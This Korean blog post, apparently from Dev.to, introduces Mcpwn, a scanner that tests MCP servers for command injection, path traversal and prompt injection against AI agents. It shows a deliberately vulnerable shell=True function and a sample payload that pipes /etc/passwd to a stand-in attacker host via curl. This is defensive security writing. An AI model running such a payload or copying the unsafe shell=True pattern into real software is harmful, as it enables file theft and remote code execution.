MCP 서버용 보안 스캐너 구축
Source: Dev.to
소개
Model Context Protocol (MCP)은 Anthropic이 만든 AI 에이전트를 외부 도구와 데이터 소스에 연결하기 위한 새로운 표준입니다. MCP 서버를 다루면서 중요한 격차를 발견했습니다: 자동화된 보안 테스트가 전혀 없다는 점입니다.
MCP 서버는 파일 작업, 명령 실행, 데이터베이스 접근 등 강력한 기능을 AI 에이전트에 부여합니다. 하나의 취약한 도구만으로도 시스템 전체가 장악당할 수 있으며, 수동 코드 리뷰는 도구 인자에 대한 인젝션 취약점을 놓치기 쉽습니다.
취약점 예시
def execute_command(command: str):
return subprocess.run(command, shell=True, capture_output=True)
취약점은 정제되지 않은 command 인자에 있습니다. AI 에이전트가 악의적인 페이로드를 삽입할 수 있습니다. 예시:
ls; curl http://attacker.com/exfil?data=$(cat /etc/passwd)
Mcpwn – MCP 서버용 자동 보안 스캐너
Mcpwn은 MCP 서버의 런타임 취약점을 탐지하는 순수 파이썬 스캐너입니다. 이름은 “MCP pwn”을 재치 있게 변형한 것입니다.
의미 기반 탐지 vs. 충돌 탐지
충돌을 찾는 대신, Mcpwn은 응답 내용에서 알려진 패턴을 분석합니다:
uid=1000(user)→ 명령 인젝션root:x:0:0:root→ 경로 탐색 / 파일 읽기-----BEGIN PRIVATE KEY→ 개인 키 유출- 타이밍 편차 → 블라인드 인젝션
의존성 제로
- 파이썬 표준 라이브러리만 사용해 구현되었습니다.
pip install이 필요 없으며, CI/CD 통합이 간편하고 공격 표면이 감소합니다.
구조화된 출력
Mcpwn은 JSON 및 SARIF 형식으로 결과를 내보낼 수 있어 AI 도구나 CI 파이프라인에서 쉽게 활용할 수 있습니다.
{
"summary": {
"total": 3,
"by_severity": { "CRITICAL": 2, "HIGH": 1 }
},
"findings": [ /* ... */ ]
}
핵심 구성 요소
core/
├── pentester.py # Orchestrator (thread‑safe, timeout handling)
├── detector.py # Semantic detection engine
└── reporter.py # JSON/HTML/SARIF report generation
구현된 검사
- 도구 인자 인젝션 (RCE, 경로 탐색)
- 리소스 경로 탐색
- 프롬프트 인젝션 (컨텍스트 혼동, 구분자 탈출)
- 프로토콜 퍼징 (잘못된 JSON‑RPC)
- 상태 비동기화 공격
- 리소스 고갈
탐지 예시
import re
def detect_rce(response: str) -> bool:
patterns = [
r'uid=\d+\([^)]+\)', # Unix user ID
r'gid=\d+\([^)]+\)', # Unix group ID
r'root:x:0:0:root' # /etc/passwd entry
]
return any(re.search(p, response) for p in patterns)
테스트 과정에서 Mcpwn은 수동 리뷰에서 놓친 프로덕션 MCP 서버의 RCE 취약점을 발견했습니다.
샘플 스캔 출력
$ python mcpwn.py --quick npx -y @modelcontextprotocol/server-filesystem /tmp
[INFO] Found 2 tools, 0 resources
[WARNING] execute_command: RCE via command
[WARNING] Detection: uid=1000(user) gid=1000(user)
[INFO] Mcpwn complete
사용법
빠른 스캔 (≈5초)
python mcpwn.py --quick npx -y @modelcontextprotocol/server-filesystem /tmp
JSON 보고서 생성
python mcpwn.py --output-json report.json
CI/CD 통합 (SARIF)
python mcpwn.py --output-sarif report.sarif
설계 고려사항
- 의미 기반 탐지가 충돌 탐지를 능가한다 – 패턴 매칭을 통해 충돌을 일으키지 않는 데이터 유출도 포착합니다.
- 스레드 안전성 – MCP 서버는 동시 요청을 처리하므로, Mcpwn은 요청 ID와 상태 점검에 적절한 락을 사용합니다.
- 전역 타임아웃 – 기본 10 초 타임아웃이며, 설정 가능하고, 빠른 모드에서는 5 초로 제한해 hangs를 방지합니다.
- 오탐 완화 – 예를 들어 경로 탐색 탐지는 두 개 이상의 마커가 확인돼야 경고를 발생시킵니다.
예정 기능
- SSRF 인젝션 탐지
- 역직렬화 공격 테스트
- 스키마 오염 검사
- 인증 우회 테스트
현재 제한 사항
- 노출된 자격 증명과 같은 구성 문제는 탐지하지 않음.
- 비즈니스 로직 결함 및 복잡한 다단계 공격 체인은 놓칠 수 있음.
- 런타임 익스플로잇 패턴에 초점이 맞춰져 있어, 논리 오류는 여전히 수동 검토가 필요합니다.
시작하기
git clone https://github.com/Teycir/Mcpwn.git
cd Mcpwn
python3 mcpwn.py --help
Mcpwn은 MIT 라이선스를 따르며, 45개의 테스트를 모두 통과했고 외부 의존성이 전혀 없습니다.
GitHub: https://github.com/Teycir/Mcpwn
토론
AI‑에이전트 인프라에 대해 효과적이라고 생각하는 보안 테스트 접근법이 있나요? 자유롭게 의견을 공유해 주세요.